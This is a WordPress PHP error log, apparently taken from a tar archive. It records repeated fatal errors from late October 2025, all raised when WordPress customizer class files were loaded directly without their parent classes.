error_log000064400000453320151024210340006460 0ustar00[22-Oct-2025 12:08:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php on line 17
[22-Oct-2025 12:20:55 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-section.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-section.php on line 19
[27-Oct-2025 20:56:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php on line 17
[27-Oct-2025 20:56:58 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Panel" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php on line 19
[27-Oct-2025 20:57:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-control.php on line 17
[27-Oct-2025 20:57:25 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _deprecated_file() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-control.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-control.php on line 11
[27-Oct-2025 20:57:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-date-time-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-date-time-control.php on line 17
[27-Oct-2025 20:58:59 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _deprecated_file() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-section.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-section.php on line 11
[27-Oct-2025 21:00:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php on line 17
[27-Oct-2025 21:01:04 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Cropped_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-site-icon-control.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-site-icon-control.php on line 19
[27-Oct-2025 21:03:09 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-name-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-name-control.php on line 17
[27-Oct-2025 21:04:03 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-sidebar-section.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-sidebar-section.php on line 17
[27-Oct-2025 21:06:05 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-setting.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-setting.php on line 21
[27-Oct-2025 21:07:02 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-section.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-section.php on line 19
[27-Oct-2025 21:08:04 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-setting.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-setting.php on line 17
[27-Oct-2025 21:10:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-control.php on line 17
[27-Oct-2025 21:11:08 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-section.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-section.php on line 19
[27-Oct-2025 21:12:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-location-control.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-location-control.php on line 19
[27-Oct-2025 21:13:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Media_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-upload-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-upload-control.php on line 17
[27-Oct-2025 21:14:18 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php on line 20
[27-Oct-2025 21:15:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-theme-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-theme-control.php on line 17
[27-Oct-2025 21:16:28 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-media-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-media-control.php on line 17
[27-Oct-2025 21:17:31 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-control.php on line 17
[27-Oct-2025 21:18:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-color-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-color-control.php on line 17
[27-Oct-2025 21:19:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-control.php on line 17
[27-Oct-2025 21:20:39 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Upload_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-image-control.php on line 17
[27-Oct-2025 21:21:41 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Panel" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-panel.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-panel.php on line 17
[27-Oct-2025 21:22:45 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-position-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-position-control.php on line 17
[27-Oct-2025 21:24:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-area-customize-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-area-customize-control.php on line 17
[27-Oct-2025 21:25:47 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-cropped-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-cropped-image-control.php on line 17
[27-Oct-2025 21:27:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-setting.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-setting.php on line 19
[27-Oct-2025 21:28:50 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-code-editor-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-code-editor-control.php on line 17
[27-Oct-2025 21:29:50 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-sidebar-block-editor-control.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-sidebar-block-editor-control.php on line 18
[27-Oct-2025 21:32:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-form-customize-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-form-customize-control.php on line 17
[27-Oct-2025 21:33:50 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-filter-setting.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-filter-setting.php on line 19
[28-Oct-2025 16:34:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php on line 17
[28-Oct-2025 16:34:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Panel" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php on line 19
[28-Oct-2025 16:34:47 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-setting.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-setting.php on line 21
[28-Oct-2025 16:34:56 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _deprecated_file() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-control.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-control.php on line 11
[28-Oct-2025 16:35:25 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-control.php on line 17
[28-Oct-2025 16:36:27 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php on line 17
[28-Oct-2025 16:37:27 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-control.php on line 17
[28-Oct-2025 16:38:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-date-time-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-date-time-control.php on line 17
[28-Oct-2025 16:39:37 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _deprecated_file() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-section.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-section.php on line 11
[28-Oct-2025 16:40:38 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Media_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-upload-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-upload-control.php on line 17
[28-Oct-2025 16:41:41 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-section.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-section.php on line 19
[28-Oct-2025 16:42:47 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-name-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-name-control.php on line 17
[28-Oct-2025 16:43:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-theme-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-theme-control.php on line 17
[28-Oct-2025 16:44:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-setting.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-setting.php on line 17
[28-Oct-2025 16:45:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-section.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-section.php on line 19
[28-Oct-2025 16:47:02 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Cropped_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-site-icon-control.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-site-icon-control.php on line 19
[28-Oct-2025 16:49:05 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-sidebar-section.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-sidebar-section.php on line 17
[28-Oct-2025 16:50:02 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Upload_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-image-control.php on line 17
[28-Oct-2025 16:51:02 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-media-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-media-control.php on line 17
[28-Oct-2025 16:52:04 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-color-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-color-control.php on line 17
[28-Oct-2025 16:53:10 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-position-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-position-control.php on line 17
[28-Oct-2025 16:54:10 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-setting.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-setting.php on line 19
[28-Oct-2025 16:55:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Panel" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-panel.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-panel.php on line 17
[28-Oct-2025 16:56:17 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-control.php on line 17
[28-Oct-2025 16:57:18 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-control.php on line 17
[28-Oct-2025 16:58:21 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php on line 20
[28-Oct-2025 16:59:26 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-cropped-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-cropped-image-control.php on line 17
[28-Oct-2025 17:00:24 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-form-customize-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-form-customize-control.php on line 17
[28-Oct-2025 17:01:26 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-location-control.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-location-control.php on line 19
[28-Oct-2025 17:02:28 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-code-editor-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-code-editor-control.php on line 17
[28-Oct-2025 17:07:48 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-area-customize-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-area-customize-control.php on line 17
[28-Oct-2025 17:09:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-filter-setting.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-filter-setting.php on line 19
[28-Oct-2025 17:11:31 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-sidebar-block-editor-control.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-sidebar-block-editor-control.php on line 18
[28-Oct-2025 17:12:28 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php on line 17
[28-Oct-2025 17:13:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-section.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-section.php on line 19
[28-Oct-2025 17:14:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-control.php on line 17
[28-Oct-2025 17:15:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Cropped_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-site-icon-control.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-site-icon-control.php on line 19
[28-Oct-2025 17:16:38 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php on line 17
[28-Oct-2025 17:17:40 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-date-time-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-date-time-control.php on line 17
[28-Oct-2025 17:18:44 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _deprecated_file() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-section.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-section.php on line 11
[28-Oct-2025 17:19:47 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Panel" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php on line 19
[28-Oct-2025 17:20:53 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-setting.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-setting.php on line 21
